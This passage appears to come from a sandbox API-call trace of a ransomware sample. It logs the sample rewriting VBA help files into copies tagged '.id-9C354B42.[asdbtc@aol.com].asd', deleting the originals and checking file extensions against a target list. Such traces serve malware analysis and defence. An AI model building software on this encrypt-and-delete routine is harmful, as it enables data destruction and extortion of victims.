Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0056.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.695] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.695] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.696] GetLastError () returned 0x0 [0056.696] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0056.751] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0056.759] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.759] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0056.759] SetEndOfFile (hFile=0x1e4) returned 1 [0056.759] CloseHandle (hObject=0x1e4) returned 1 [0056.759] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.759] SetEndOfFile (hFile=0x204) returned 1 [0056.785] CloseHandle (hObject=0x204) returned 1 [0056.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0056.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.786] lstrlenW (lpString=".doc") returned 4 [0056.786] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString=".docx") returned 5 [0056.786] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0056.786] lstrlenW (lpString=".pdf") returned 4 [0056.786] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString=".xls") returned 4 [0056.786] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString=".xlsx") returned 5 [0056.786] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0056.786] lstrlenW (lpString=".ppt") returned 4 [0056.786] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.786] lstrlenW (lpString=".zip") returned 4 [0056.786] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString=".rar") returned 4 [0056.786] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString=".bz2") returned 4 [0056.786] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.786] lstrlenW (lpString=".7z") returned 3 [0056.786] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.786] lstrlenW (lpString=".dbf") returned 4 [0056.786] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.786] lstrlenW (lpString=".1cd") returned 4 [0056.786] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.786] lstrlenW (lpString=".jpg") returned 4 [0056.786] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString=".doc") returned 4 [0056.787] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString=".docx") returned 5 [0056.787] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0056.787] lstrlenW (lpString=".pdf") returned 4 [0056.787] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString=".xls") returned 4 [0056.787] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString=".xlsx") returned 5 [0056.787] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0056.787] lstrlenW (lpString=".ppt") returned 4 [0056.787] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString=".zip") returned 4 [0056.787] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString=".rar") returned 4 [0056.787] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString=".bz2") returned 4 [0056.787] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.787] lstrlenW (lpString=".7z") returned 3 [0056.787] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString=".dbf") returned 4 [0056.787] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString=".1cd") returned 4 [0056.787] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0056.787] lstrlenW (lpString=".jpg") returned 4 [0056.787] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.788] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0056.788] lstrlenW (lpString="VBCN6.CHM") returned 9 [0056.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.788] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=109718) returned 1 [0056.788] CloseHandle (hObject=0x204) returned 1 [0056.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0056.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.788] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.789] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.789] GetLastError () returned 0x0 [0056.789] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0057.107] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0057.111] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.112] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.112] SetEndOfFile (hFile=0x1e4) returned 1 [0057.112] CloseHandle (hObject=0x1e4) returned 1 [0057.112] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.112] SetEndOfFile (hFile=0x204) returned 1 [0057.114] CloseHandle (hObject=0x204) returned 1 [0057.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.114] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0057.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.114] lstrlenW (lpString=".doc") returned 4 [0057.114] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString=".docx") returned 5 [0057.115] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.115] lstrlenW (lpString=".pdf") returned 4 [0057.115] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString=".xls") returned 4 [0057.115] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString=".xlsx") returned 5 [0057.115] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.115] lstrlenW (lpString=".ppt") returned 4 [0057.115] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.115] lstrlenW (lpString=".zip") returned 4 [0057.115] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString=".rar") returned 4 [0057.115] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString=".bz2") returned 4 [0057.115] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.115] lstrlenW (lpString=".7z") returned 3 [0057.115] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.115] lstrlenW (lpString=".dbf") returned 4 [0057.115] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.115] lstrlenW (lpString=".1cd") returned 4 [0057.115] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.115] lstrlenW (lpString=".jpg") returned 4 [0057.115] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString=".doc") returned 4 [0057.116] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString=".docx") returned 5 [0057.116] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.116] lstrlenW (lpString=".pdf") returned 4 [0057.116] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString=".xls") returned 4 [0057.116] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString=".xlsx") returned 5 [0057.116] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.116] lstrlenW (lpString=".ppt") returned 4 [0057.116] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString=".zip") returned 4 [0057.116] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString=".rar") returned 4 [0057.116] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString=".bz2") returned 4 [0057.116] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.116] lstrlenW (lpString=".7z") returned 3 [0057.116] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString=".dbf") returned 4 [0057.116] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString=".1cd") returned 4 [0057.116] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0057.116] lstrlenW (lpString=".jpg") returned 4 [0057.116] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.117] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0057.117] lstrlenW (lpString="VBOB6.CHM") returned 9 [0057.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0057.117] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=123956) returned 1 [0057.117] CloseHandle (hObject=0x204) returned 1 [0057.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0057.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0057.117] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.118] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0057.118] GetLastError () returned 0x0 [0057.118] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0057.122] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0057.124] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.124] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.125] SetEndOfFile (hFile=0x1e4) returned 1 [0057.125] CloseHandle (hObject=0x1e4) returned 1 [0057.125] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.125] SetEndOfFile (hFile=0x204) returned 1 [0057.126] CloseHandle (hObject=0x204) returned 1 [0057.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.127] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0057.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.127] lstrlenW (lpString=".doc") returned 4 [0057.127] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString=".docx") returned 5 [0057.127] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.127] lstrlenW (lpString=".pdf") returned 4 [0057.127] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString=".xls") returned 4 [0057.127] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString=".xlsx") returned 5 [0057.127] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.127] lstrlenW (lpString=".ppt") returned 4 [0057.127] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.127] lstrlenW (lpString=".zip") returned 4 [0057.127] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString=".rar") returned 4 [0057.127] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.127] lstrlenW (lpString=".bz2") returned 4 [0057.128] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.128] lstrlenW (lpString=".7z") returned 3 [0057.128] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString=".dbf") returned 4 [0057.128] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString=".1cd") returned 4 [0057.128] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString=".jpg") returned 4 [0057.128] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString=".doc") returned 4 [0057.128] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString=".docx") returned 5 [0057.128] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.128] lstrlenW (lpString=".pdf") returned 4 [0057.128] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString=".xls") returned 4 [0057.128] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString=".xlsx") returned 5 [0057.128] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.128] lstrlenW (lpString=".ppt") returned 4 [0057.128] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.128] lstrlenW (lpString=".zip") returned 4 [0057.128] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.128] lstrlenW (lpString=".rar") returned 4 [0057.129] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.129] lstrlenW (lpString=".bz2") returned 4 [0057.129] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.129] lstrlenW (lpString=".7z") returned 3 [0057.129] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.129] lstrlenW (lpString=".dbf") returned 4 [0057.129] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.129] lstrlenW (lpString=".1cd") returned 4 [0057.129] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0057.129] lstrlenW (lpString=".jpg") returned 4 [0057.129] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.129] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0057.129] lstrlenW (lpString="VBUI6.CHM") returned 9 [0057.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0057.130] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=416918) returned 1 [0057.130] CloseHandle (hObject=0x204) returned 1 [0057.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 